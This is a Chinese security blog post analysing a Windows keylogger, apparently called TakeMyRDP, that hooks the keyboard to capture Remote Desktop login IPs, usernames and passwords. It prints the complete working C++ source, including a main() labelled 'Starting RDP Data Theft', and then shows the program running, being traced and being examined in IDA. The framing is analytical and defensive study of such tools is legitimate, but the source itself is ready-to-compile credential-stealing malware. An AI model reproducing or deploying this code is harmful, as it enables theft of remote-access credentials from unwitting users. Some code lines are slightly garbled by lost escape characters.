一个键盘消息钩子的分析过程

admin 2024年6月1日16:56:49评论13 views字数 7368阅读24分33秒阅读模式

      在开始之前,推荐一位抖音摄影师 “在新疆的摄像师阿昊”。我经常刷到他,是一位在新疆给女孩拍照并指导女孩如何摆拍、被评价为“全网最销魂的身姿”的摄像师;看着像西北的汉子,却有着细腻的情感表现,反差之下,不感粗俗反觉出尘,是一位有着有趣灵魂的摄像师。他说,谋生很辛苦,但是热爱就不一样了,请你务必一边努力,一边快乐。

正应了:谁不是生活所迫,将自己弄得一身才华!


【导读】

这是一篇综合运用了多种手段分析文章。

伊始,通过代码解读程序的功能;

第二,通过功能展示、程序api进行监视来展现维度

第三,通过找寻钩子位置展开分析、对比。


【正文】

一、程序源代码分析

我们先来看一段代码,功能是通过消息钩子截获远程登录windows的3389时敲入的IP、用户名、密码。

AI解释如下:这段代码主要是一个键盘记录程序,用于捕获特定进程(例如 mstsc.exeCredentialUIBroker.exe)的按键事件,并将其记录下来。


1、主要功能概述

(1)获取特定进程的PID:使用 GetProcId 函数通过进程名获取进程ID (PID)。

(2)判断窗口是否属于特定进程:使用 isWindowOfProcessFocused 函数判断当前焦点窗口是否属于特定进程(如 mstsc.exeCredentialUIBroker.exe)。

(3)键盘钩子函数:使用 KbdHookProc 钩子函数捕获按键事件,并根据按键类型进行处理和记录。

(4)主程序:在主程序中安装全局键盘钩子,并在进入消息循环后,等待和处理键盘事件。


2、代码详细解析

(1)获取进程ID

DWORD GetProcId(const wchar_t* procName) {

    DWORD procId = 0;

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnap != INVALID_HANDLE_VALUE) {

        PROCESSENTRY32 pe32;

        pe32.dwSize = sizeof(PROCESSENTRY32);

        if (Process32First(hSnap, &pe32)) {

            do {

                if (!_wcsicmp(procName, pe32.szExeFile)) {

                    procId = pe32.th32ProcessID;

                    break;

                }

            } while (Process32Next(hSnap, &pe32));

        }

    }

    CloseHandle(hSnap);

    return procId;

}

该函数使用 CreateToolhelp32SnapshotProcess32First/Next 来获取系统中所有进程的快照,并遍历这些进程以找到与 procName 匹配的进程,返回其PID。

(2)判断窗口是否属于特定进程

BOOL isWindowOfProcessFocused(const wchar_t* processName) {

    // Get the PID of the process

    DWORD pid = GetProcId(processName);

    if (pid == 0) {

        // Process not found

        return FALSE;

    }

    // Get handle to the active window

    HWND hActiveWindow = GetForegroundWindow();

    if (hActiveWindow == NULL) {

        // No active window found

        return FALSE;

    }

    // Get PID of the active window

    DWORD activePid;

    GetWindowThreadProcessId(hActiveWindow, &activePid);

    // Check if the active window belongs to the process we're interested in

    if (activePid != pid) {

        // Active window does not belong to the specified process

        return FALSE;

    }

    // If we've gotten this far, the active window belongs to our process

    return TRUE;

}

  • 该函数获取当前焦点窗口的PID,并检查该窗口是否属于指定进程。


(3)键盘钩子函数

LRESULT CALLBACK KbdHookProc(int nCode, WPARAM wParam, LPARAM lParam) {

    if (nCode >= 0) {

        if (isWindowOfProcessFocused(L"mstsc.exe") || isWindowOfProcessFocused(L"CredentialUIBroker.exe")) {

            static int prev;

            BOOL isLetter = 1;

            if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {

                PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam;

                int vkCode = kbdStruct->vkCode;

                if (vkCode == 0xA2) { // LCTRL or initial signal of RALT

                    prev = vkCode;

                    return CallNextHookEx(NULL, nCode, wParam, lParam);   }

                if (prev == 0xA2 && vkCode == 0xA5) { // RALT

                    printf("<RALT>");

                    isLetter = 0;  }

                else if (prev == 0xA2 && vkCode != 0xA5) { printf("<LCTRL>"); }

                BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;

                switch (vkCode) {

                case 0xA3: printf("<RCTRL>"); isLetter = 0; break;

                case 0xA4: printf("<LALT>"); isLetter = 0; break;

                case VK_CAPITAL: printf("<CAPSLOCK>"); isLetter = 0; break;

                case 0x08: printf("<ESC>"); isLetter = 0; break;

                case 0x0D: putchar('n'); isLetter = 0; break;

                case VK_OEM_PLUS: shiftPressed ? printf("+") : printf("="); isLetter = 0; break;

                case VK_OEM_COMMA: shiftPressed ? printf("<") : printf(","); isLetter = 0; break;

                case VK_OEM_MINUS: shiftPressed ? printf("_") : printf("-"); isLetter = 0; break;

                case VK_OEM_PERIOD: shiftPressed ? printf(">") : printf("."); isLetter = 0; break;

                case VK_OEM_1: shiftPressed ? printf(":") : printf(";"); isLetter = 0; break;

                case VK_OEM_2: shiftPressed ? printf("?") : printf("/"); isLetter = 0; break;

                case VK_OEM_3: shiftPressed ? printf("~") : printf("`"); isLetter = 0; break;

                case VK_OEM_4: shiftPressed ? printf("{") : printf("["); isLetter = 0; break;

                case VK_OEM_5: shiftPressed ? printf("|") : printf("\"); isLetter = 0; break;

                case VK_OEM_6: shiftPressed ? printf("}") : printf("]"); isLetter = 0; break;

                case VK_OEM_7: shiftPressed ? printf(""") : printf("'"); isLetter = 0; break;

                default: break;    }

                prev = vkCode;

                if (isLetter) {

                    BOOL capsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;

                    if (vkCode >= 0x41 && vkCode <= 0x5A) {

                        if (capsLock ^ shiftPressed) { // XOR operation, to check if exactly one of them is TRUE

                            printf("%c", vkCode);       }

                        else { printf("%c", vkCode + 0x20); // Convert to lowercase     }

                    }

                    else if (vkCode >= 0x61 && vkCode <= 0x7A) {

                        if (capsLock ^ shiftPressed) {printf("%c", vkCode - 0x20); // Convert to uppercase    }

                        else { printf("%c", vkCode);  }

                    }

                    else if (vkCode >= 0x30 && vkCode <= 0x39) { // Check if key is a number key

                        if (shiftPressed) {

                            switch (vkCode) {

                            case '1': printf("!"); break;

                            case '2': printf("@"); break;

                            case '3': printf("#"); break;

                            case '4': printf("$"); break;

                            case '5': printf("%"); break;

                            case '6': printf("^"); break;

                            case '7': printf("&"); break;

                            case '8': printf("*"); break;

                            case '9': printf("("); break;

                            case '0': printf(")"); break;

                            default: break;  }

                        }

                        else {printf("%c", vkCode);  }

                    }

                }

            }

        }

        else        {

            // When the active window is not related to the specified processes, don't log.

            return CallNextHookEx(NULL, nCode, wParam, lParam);        }

    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);

}

  • 该钩子函数 KbdHookProc 用于捕获键盘事件,当特定进程(mstsc.exeCredentialUIBroker.exe)的窗口处于焦点时,记录按键事件。

  • 它会处理不同的键盘输入,包括字母、数字和特殊键(如Ctrl、Alt、Shift等),并将其格式化输出。


(4) 主程序

int main(void) {

   printf("nn[+] Starting RDP Data Theftn");

    printf("[+] Waiting for RDP related processesnn");

    HHOOK kbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, KbdHookProc, 0, 0);

    while (true) {

           MSG msg;

            while (!GetMessage(&msg, NULL, 0, 0)) {

                TranslateMessage(&msg);

                DispatchMessage(&msg);

            }

    }

    UnhookWindowsHookEx(kbdHook);

    return 0;

}

  • 主程序设置全局键盘钩子 SetWindowsHookEx,以捕获键盘事件。

  • 进入消息循环 GetMessage,等待并处理系统消息。

  • 当检测到特定进程的窗口处于焦点时,捕获并记录按键事件。


(5)结论

这段代码实现了一个简单的键盘记录器,专注于捕获和记录特定进程(如远程桌面连接和凭据UI代理)中的按键事件。这样的代码可能用于合法的调试和测试目的,但也可能被滥用用于恶意活动,因此在使用或修改此类代码时应遵循道德规范和法律法规。


二、进程分析

1、用vs2022编译,生成takemyrdp.exe;

2、运行它,出现界面,如图:

一个键盘消息钩子的分析过程

3、打开mstsc,登录一个windows虚拟机,看看,发现它在记录,如下,

一个键盘消息钩子的分析过程

因为再次登录时,默认用户名为administrator,不用再敲入了,所以键盘钩子没记录到。

4、监听钩子api。因为程序里用到了 SetWindowsHookEx,我们就来监听这个相关的函数,有3个,如下图,

一个键盘消息钩子的分析过程

5、我们来看下它的过程,

一个键盘消息钩子的分析过程

(1)Process Started - PID: 14804 | 64-bit | TakeMyRDP.exe | TakeMyRDP.exe

(2)Process Started - PID: 19384 | 64-bit | mstsc.exe | "C:Windowssystem32mstsc.exe" 

(3)Process Started - PID: 24380 | 64-bit | CredentialUIBroker.exe | "C:WindowsSystem32CredentialUIBroker.exe" NonAppContainerFailedMip -Embedding

(4)Process Stopped - PID: 24380 | CredentialUIBroker.exe

(5)Process Started - PID: 24488 | 64-bit | taskhostw.exe | taskhostw.exe Install $(Arg0)

(6)Process Started - PID:  4772 | 64-bit | TrustedInstaller.exe | C:WindowsservicingTrustedInstaller.exe

(7)Process Started - PID: 22604 | 64-bit | TiWorker.exe | C:Windowswinsxsamd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.262_none_e73f0197262d9fecTiWorker.exe -Embedding

(8)Service Started - PID:  4772 | 64-bit | TrustedInstaller | Windows Modules Installer | C:WindowsservicingTrustedInstaller.exe

(9)Process Stopped - PID: 19384 | mstsc.exe

(10)Process Stopped - PID: 24488 | taskhostw.exe

我们通过监听api,发现调用了mstsc和CredentialUIBroker;

6、用进程工具查看,

一个键盘消息钩子的分析过程

查看它的消息钩子,

一个键盘消息钩子的分析过程

类型为WH_KEYBOARD_LL,即为消息钩子;

偏移在 0x00007FF63F97104B我们来查此偏移的代码,

一个键盘消息钩子的分析过程

是个跳转语句,指向 0x00007FF63F971990;我们来看此偏移,

一个键盘消息钩子的分析过程

这句应该就是KbHookProc代码处;

源代码中是C++,这里汇编,我们还是到IDA的同位置来查看。


三、程序静态分析

1、IDA x64载入takemyrdp.exe; 

2、从程序入口看,main函数

一个键盘消息钩子的分析过程

发现了SetWindowsHookExW函数;

一个键盘消息钩子的分析过程

进入钩子替换代码处,即1990处;

说明静态分析和从内存中发现的代码是一致;


后记:今天值班,本来看这个程序代码时,没有想到要做这些;消息钩子已不是什么新东西;突然看到“巴勒斯坦空投食品”以及下面这张,感慨万千,

一个键盘消息钩子的分析过程

今天是“六.一”儿童节,跟她们相比,我们的孩子们无忧无虑地生活在这么美好的国度里面,是多么地幸运和幸福!愿世界早日没有战争!

原文始发于微信公众号(MicroPest):一个键盘消息钩子的分析过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月1日16:56:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一个键盘消息钩子的分析过程https://cn-sec.com/archives/2804907.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息